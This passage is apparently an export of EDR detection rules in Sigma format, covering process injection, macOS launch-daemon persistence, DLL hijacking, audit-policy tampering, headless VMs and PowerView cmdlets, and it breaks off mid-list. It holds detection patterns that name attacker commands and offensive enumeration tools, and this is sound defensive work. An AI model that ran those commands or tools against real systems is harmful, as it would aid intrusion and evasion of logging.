+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5fddb898-f5d5-4dd5-b0b5-7385e614194e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079185Z",
+  "creation_date": "2026-03-23T11:45:34.079187Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079191Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_possible_sacrifical_process.yml",
+  "content": "title: Possible Sacrificial Process Spawned\nid: 5fddb898-f5d5-4dd5-b0b5-7385e614194e\ndescription: |\n    This rule detects suspicious parent/child process relationships that may indicate sacrifical processes or process injection.\n    Malware such as Rhadhamanthys Stealer or Cobalt Strike can inject its core component into a sacrificial process in order to evade defenses.\n    It is recommended to analyze the execution context and the IP address contacted by this process, if there is any.\nreferences:\n    - https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/03/27\nmodified: 2025/01/27\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - attack.discovery\n    - attack.t1082\n    - attack.credential_access\n    - attack.t1539\n    - attack.t1555\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProcessTampering\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine:\n            - '?:\\Windows\\system32\\credwiz.exe'\n            - '?:\\Windows\\system32\\OOBE-Maintenance.exe'\n            - '?:\\Windows\\system32\\openwith.exe'\n            - '?:\\Windows\\system32\\dllhost.exe'\n            - '?:\\Windows\\system32\\rundll32.exe'\n        ParentCommandLine:\n            - '?:\\Windows\\system32\\dialer.exe'\n            - '?:\\Windows\\system32\\openwith.exe'\n            - '?:\\Windows\\system32\\dllhost.exe'\n            - '?:\\Windows\\system32\\rundll32.exe'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5fddb898-f5d5-4dd5-b0b5-7385e614194e",
+  "rule_name": "Possible Sacrificial Process Spawned",
+  "rule_description": "This rule detects suspicious parent/child process relationships that may indicate sacrifical processes or process injection.\nMalware such as Rhadhamanthys Stealer or Cobalt Strike can inject its core component into a sacrificial process in order to evade defenses.\nIt is recommended to analyze the execution context and the IP address contacted by this process, if there is any.\n",
+  "rule_creation_date": "2024-03-27",
+  "rule_modified_date": "2025-01-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055",
+    "attack.t1082",
+    "attack.t1539",
+    "attack.t1555"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5ff36646-f412-456e-a97f-42ac3798d2c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296149Z",
+  "creation_date": "2026-03-23T11:45:35.296153Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296160Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1543.004/T1543.004.md",
+    "https://attack.mitre.org/techniques/T1543/001/",
+    "https://attack.mitre.org/techniques/T1543/004/",
+    "https://attack.mitre.org/techniques/T1569/001/"
+  ],
+  "name": "t1543_004_launchctl_new_daemon.yml",
+  "content": "title: New Launch Daemon Added via Command-line\nid: 5ff36646-f412-456e-a97f-42ac3798d2c3\ndescription: |\n    Detects a new Launch Daemon being added via command line (launchctl).\n    Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.\n    Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction.\n    An attacker may create or modify Launch Daemons to execute malicious payloads as a way to establish persistent access.\n    It is recommended to check the content of the newly created plist file for malicious content.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1543.004/T1543.004.md\n    - https://attack.mitre.org/techniques/T1543/001/\n    - https://attack.mitre.org/techniques/T1543/004/\n    - https://attack.mitre.org/techniques/T1569/001/\ndate: 2024/06/26\nmodified: 2026/02/19\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1543.001\n    - attack.t1543.004\n    - attack.t1569.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/bin/launchctl'\n        CommandLine|contains:\n            - ' bootstrap'\n            # Legacy way\n            - ' load'\n        Ancestors|contains:\n            # folder\n            - '/Volumes/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/etc/'\n            - '/Users/'\n            - '/private/var/root'\n            - '/usr/local/bin/'\n            # binary\n            - 'osascript'\n\n    exclusion_sandbox:\n        - Image|startswith: '/private/tmp/PKInstallSandbox'\n        - ProcessParentImage|startswith: '/private/tmp/PKInstallSandbox'\n        - ProcessAncestors|contains: '|/private/tmp/PKInstallSandbox.'\n\n    exclusion_install:\n        Ancestors|contains:\n            - '/private/tmp/KSInstallAction'\n            - '/usr/sbin/installer'\n\n    exclusion_users_application:\n        Ancestors|contains:\n            - '/Users/*/Library/Application Support/'\n            - '/Users/*/Applications/'\n\n    exclusion_logioptions:\n        - Image: '/Users/Shared/LogiOptionsPlus/depots/*/logioptionsplus/logioptionsplus_agent.app/Contents/Frameworks/logioptionsplus_updater.app/Contents/MacOS/logioptionsplus_updater'\n        - ParentImage: '/Users/Shared/LogiOptionsPlus/depots/*/logioptionsplus/logioptionsplus_agent.app/Contents/Frameworks/logioptionsplus_updater.app/Contents/MacOS/logioptionsplus_updater'\n          CommandLine:\n            - '/bin/launchctl bootstrap gui/* /Library/LaunchAgents/com.logi.optionsplus.plist'\n            - '/bin/launchctl load /Library/LaunchDaemons/com.logi.optionsplus.updater.plist'\n\n    exclusion_grammarly:\n        Ancestors|contains: '/Users/*/Applications/Grammarly Desktop.app/Contents/MacOS/Grammarly Desktop'\n\n    exclusion_homebrew:\n        Image|startswith: '/Users/*/homebrew/Library/Homebrew/'\n\n    exclusion_lghub:\n        ParentImage: '/Users/Shared/LGHUB/depots/*/core/lghub.app/Contents/MacOS/lghub_updater.app/Contents/MacOS/lghub_updater'\n        CommandLine: '/bin/launchctl load /Library/LaunchDaemons/com.logi.ghub.updater.plist'\n\n    exclusion_java_updater:\n        ParentImage: '/Users/*/Library/Caches/com.oracle.java.JavaAppletPlugin/org.sparkle-project.Sparkle/*/Contents/MacOS/MacJREInstaller'\n        CommandLine: 'launchctl load /Library/LaunchAgents/com.oracle.java.Java-Updater.plist'\n\n    exclusion_bomgar:\n        - Image: '/Users/*/.com.bomgar.scc.*/sdcust.cache/pin-launch/Open To Start Support Session.app/Contents/MacOS/bomgar-scc'\n        - ParentImage: '/Users/*/.com.bomgar.scc.*/sdcust.cache/pin-launch/Open To Start Support Session.app/Contents/MacOS/sra-scc'\n\n    exclusion_jamf:\n        - ProcessAncestors|contains: '/usr/local/jamf/bin/jamf'\n        - ProcessParentCommandLine|contains: '/Library/Application Support/JAMF/tmp/'\n\n    exclusion_installer:\n        ProcessParentCommandLine|startswith: '/bin/sh /tmp/PKInstallSandbox.??????/'\n\n    exclusion_manageengine:\n        CommandLine: '/bin/launchctl load -wf /library/launchdaemons/com.manageengine.desktopcentral.dcagentupgrader.plist'\n\n    exclusion_google:\n        CommandLine:\n            - '/bin/launchctl bootstrap system /library/launchdaemons/com.google.googleupdater.wake.system.plist'\n            - '/bin/launchctl bootstrap gui/503 /Users/*/Library/LaunchAgents/com.google.GoogleUpdater.wake.plist'\n\n    exclusion_adobe:\n        CommandLine:\n            - '/bin/launchctl load -wF /Library/Application Support/../LaunchAgents/com.adobe.AdobeDesktopService.plist'\n            - '/bin/launchctl load -wF /Library/Application Support/../LaunchAgents/com.adobe.AdobeCreativeCloud.plist'\n        ProcessAncestors|contains: '.app/Contents/MacOS/Install'\n\n    exclusion_olfeo:\n        ProcessParentImage: '/usr/local/bin/trustlane_authentication_agent'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5ff36646-f412-456e-a97f-42ac3798d2c3",
+  "rule_name": "New Launch Daemon Added via Command-line",
+  "rule_description": "Detects a new Launch Daemon being added via command line (launchctl).\nLaunch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.\nLaunch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction.\nAn attacker may create or modify Launch Daemons to execute malicious payloads as a way to establish persistent access.\nIt is recommended to check the content of the newly created plist file for malicious content.\n",
+  "rule_creation_date": "2024-06-26",
+  "rule_modified_date": "2026-02-19",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.001",
+    "attack.t1543.004",
+    "attack.t1569.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "600f91f8-20f2-43d2-809e-26648abf6ff8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589691Z",
+  "creation_date": "2026-03-23T11:45:34.589702Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589716Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bitlockerdeviceencryption.yml",
+  "content": "title: DLL Hijacking via BitLockerDeviceEncryption.exe\nid: 600f91f8-20f2-43d2-809e-26648abf6ff8\ndescription: |\n    Detects potential Windows DLL Hijacking via BitLockerDeviceEncryption.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'BitLockerDeviceEncryption.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dsreg.dll'\n            - '\\fveskybackup.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "600f91f8-20f2-43d2-809e-26648abf6ff8",
+  "rule_name": "DLL Hijacking via BitLockerDeviceEncryption.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via BitLockerDeviceEncryption.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "601244c8-07d1-4169-b531-71204251c443",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623836Z",
+  "creation_date": "2026-03-23T11:45:34.623838Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623842Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings",
+    "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gpac/77878370-0712-47cd-997d-b07053429f6d",
+    "https://www.microsoft.com/en-us/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
+    "https://strontic.github.io/xcyclopedia/library/auditpol.exe-A5452C41FBF27E4CDBE3E41893DDE72D.html",
+    "https://attack.mitre.org/techniques/T1562/002/"
+  ],
+  "name": "t1562_002_auditpol_tampering.yml",
+  "content": "title: Audit Policy Tampered via Auditpol\nid: 601244c8-07d1-4169-b531-71204251c443\ndescription: |\n    Detects when a group or category of the audit policy is cleared or disabled.\n    This technique is used by attackers to disable common telemetry sources, such as the Windows Event Log.\n    The first two references of this alert point to Microsoft's documentation on the different audit (sub)categories.\n    It is recommended to investigate which categories were disabled and what they affect to determine if the action is legitimate.\nreferences:\n    - https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings\n    - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gpac/77878370-0712-47cd-997d-b07053429f6d\n    - https://www.microsoft.com/en-us/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/\n    - https://strontic.github.io/xcyclopedia/library/auditpol.exe-A5452C41FBF27E4CDBE3E41893DDE72D.html\n    - https://attack.mitre.org/techniques/T1562/002/\ndate: 2023/02/14\nmodified: 2026/02/18\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\auditpol.exe'\n        - OriginalFileName: 'AUDITPOL.EXE'\n\n    selection_current_dir:\n        CurrentDirectory|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\'\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n            - '?:\\\\?Recycle.Bin\\'\n\n    cmd_set_disable:\n        CommandLine|contains|all:\n            - 'category:' # /category, /subcategory\n            - ':disable' # /(success|failure):disable\n            - '?set' # (-|/)set\n\n    cmd_remove_users:\n        CommandLine|contains|all:\n            - ' ?remove'\n            - ' ?allusers'\n\n    cmd_clear_logs:\n        CommandLine|contains|all:\n            - ' ?clear'\n            - ' ?y'\n\n    exclusion_ocs_inventory:\n        Ancestors|contains:\n            - '?:\\Program Files\\OCS Inventory Agent\\OcsService.exe'\n            - '?:\\Program Files (x86)\\OCS Inventory Agent\\OcsService.exe'\n\n    # https://www.microsoft.com/en-us/download/details.aspx?id=55319\n    exclusion_security_compliance_toolkit:\n        CurrentDirectory|endswith: '\\Windows 11 v24H2 Security Baseline\\Scripts\\'\n\n    exclusion_sccm:\n        ProcessAncestors|contains:\n            - '?:\\MININT\\Tools\\X64\\TsManager.exe'\n            - '?:\\MININT\\Tools\\X64\\TsmBootstrap.exe'\n\n    exclusion_provconnect:\n        ProcessAncestors|contains: '?:\\Program Files\\proVconnect\\proVconnect Device Agent\\Device Agent\\bin\\proVconnect.Agent.Windows.exe'\n\n    exclusion_lgpo:\n        ProcessParentImage|endswith: '\\LGPO.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_avacee:\n        CommandLine: '?:\\Windows\\SysWOW64\\auditpol.exe /set /subcategory:Logon /success:disable'\n        Image: '?:\\Windows\\System32\\msiexec.exe'\n        CurrentDirectory: '?:\\Program Files\\Avacee\\sip_agent\\'\n\n    exclusion_cisco:\n        ParentImage: '?:\\Program Files\\Cisco\\AMP\\\\*\\sfc.exe'\n\n    condition: all of selection_* and 1 of cmd_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "601244c8-07d1-4169-b531-71204251c443",
+  "rule_name": "Audit Policy Tampered via Auditpol",
+  "rule_description": "Detects when a group or category of the audit policy is cleared or disabled.\nThis technique is used by attackers to disable common telemetry sources, such as the Windows Event Log.\nThe first two references of this alert point to Microsoft's documentation on the different audit (sub)categories.\nIt is recommended to investigate which categories were disabled and what they affect to determine if the action is legitimate.\n",
+  "rule_creation_date": "2023-02-14",
+  "rule_modified_date": "2026-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "60216eac-5738-459f-b61a-eadceb37d9fd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611602Z",
+  "creation_date": "2026-03-23T11:45:34.611606Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611613Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
+    "https://attack.mitre.org/techniques/T1564/006/"
+  ],
+  "name": "t1564_006_susp_virtualbox_headless_linux.yml",
+  "content": "title: VirtualBox Virtual Machine Started via VBoxHeadless (Linux)\nid: 60216eac-5738-459f-b61a-eadceb37d9fd\ndescription: |\n    Detects the usage of VboxHeadless.exe to start a VM.\n    Adversaries may deploy virtual machines to conduct malicious behavior and evade defenses.\n    It is recommended to investigate process that spawned VBoxHeadless.exe, and check the legitimacy of the started virtual machine.\nreferences:\n    - https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/\n    - https://attack.mitre.org/techniques/T1564/006/\ndate: 2024/08/28\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564.006\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Virtualization\nlogsource:\n    product: linux\n    category: process_creation\ndetection:\n    selection:\n        Image|endswith: '/VBoxHeadless'\n\n    filter_vbox:\n        ParentImage|endswith: '/vboxsvc'\n\n    filter_vagrant:\n        Ancestors|contains: 'vagrant'\n\n    condition: selection and not 1 of filter_*\nlevel: medium\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "60216eac-5738-459f-b61a-eadceb37d9fd",
+  "rule_name": "VirtualBox Virtual Machine Started via VBoxHeadless (Linux)",
+  "rule_description": "Detects the usage of VboxHeadless.exe to start a VM.\nAdversaries may deploy virtual machines to conduct malicious behavior and evade defenses.\nIt is recommended to investigate process that spawned VBoxHeadless.exe, and check the legitimacy of the started virtual machine.\n",
+  "rule_creation_date": "2024-08-28",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "60c69b67-1825-42a8-bfa3-cfe816b7923a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595770Z",
+  "creation_date": "2026-03-23T11:45:34.595773Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595781Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://powersploit.readthedocs.io/en/stable/Recon/README/",
+    "https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1",
+    "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview",
+    "https://www.advintel.io/post/anatomy-of-attack-truth-behind-the-costa-rica-government-ransomware-5-day-intrusion",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/software/S0194/"
+  ],
+  "name": "t1059_001_powershell_malicious_cmdlet_powerview.yml",
+  "content": "title: Malicious PowerShell PowerView Commandlets\nid: 60c69b67-1825-42a8-bfa3-cfe816b7923a\ndescription: |\n    Detects various malicious commandlets in PowerShell scripts, generally associated with the PowerSploit framework.\n    PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.\n    This specific commandlets is part of PowerView module of PowerSploit which is series of functions that performs network and Windows domain enumeration and exploitation.\n    It is recommended to analyze actions taken by the PowerShell host process as well as to look for other suspicious activities on the host.\nreferences:\n    - https://powersploit.readthedocs.io/en/stable/Recon/README/\n    - https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1\n    - https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview\n    - https://www.advintel.io/post/anatomy-of-attack-truth-behind-the-costa-rica-government-ransomware-5-day-intrusion\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/software/S0194/\ndate: 2022/07/21\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.defense_evasion\n    - attack.t1059.001\n    - attack.s0194\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.PowerSploit\n    - classification.Windows.Behavior.Discovery\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.Exploitation\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains:\n            # enumerate -1000+ modifable ACLs on a specified domain\n            - 'Invoke-ACLScanner'\n\n            # check if the current user context has local administrator access to a specified host\n            - 'Invoke-CheckLocalAdminAccess'\n            # queries all saved RDP connection entries on a target host\n            - 'Get-CachedRDPConnection'\n\n            # takes a user/group and makes machines they have effective rights over through GPO enumeration and correlation\n            - 'Find-GPOLocation'\n            # takes a computer and determines who has admin rights over it through GPO enumeration\n            - 'Find-GPOComputerAdmin'\n\n            # finds machines on the local domain where specified users are logged into, and can optionally check if the current user has local admin access to found machines\n            - 'Invoke-UserHunter'\n            # finds all file servers utilizes in user HomeDirectories, and checks the sessions one each file server, hunting for particular users\n            - 'Invoke-StealthUserHunter'\n            # hunts for processes with a specific name or owned by a specific user on domain machines\n            - 'Invoke-ProcessHunter'\n            # hunts for user logon events in domain controller event logs\n            - 'Invoke-UserEventHunter'\n\n            # enumerates users who are in groups outside of their principal domain\n            - 'Find-ForeignUser'\n            # enumerates all the members of a domain's groups and finds users that are outside of the queried domain\n            - 'Find-ForeignGroup'\n            # try to build a relational mapping of all domain trusts\n            - 'Invoke-MapDomainTrust'\n\n            # finds (non-standard) shares on hosts in the local domain\n            - 'Invoke-ShareFinder'\n            # finds potentially sensitive files on hosts in the local domain\n            - 'Invoke-FileFinder'\n            # finds machines on the domain that the current user has local admin access to\n            - 'Find-LocalAdminAccess'\n            # finds systems likely vulnerable to common exploits\n            - 'Get-ExploitableSystem'\n            # enumerates members of the local Administrators groups across all machines in the domain\n            - 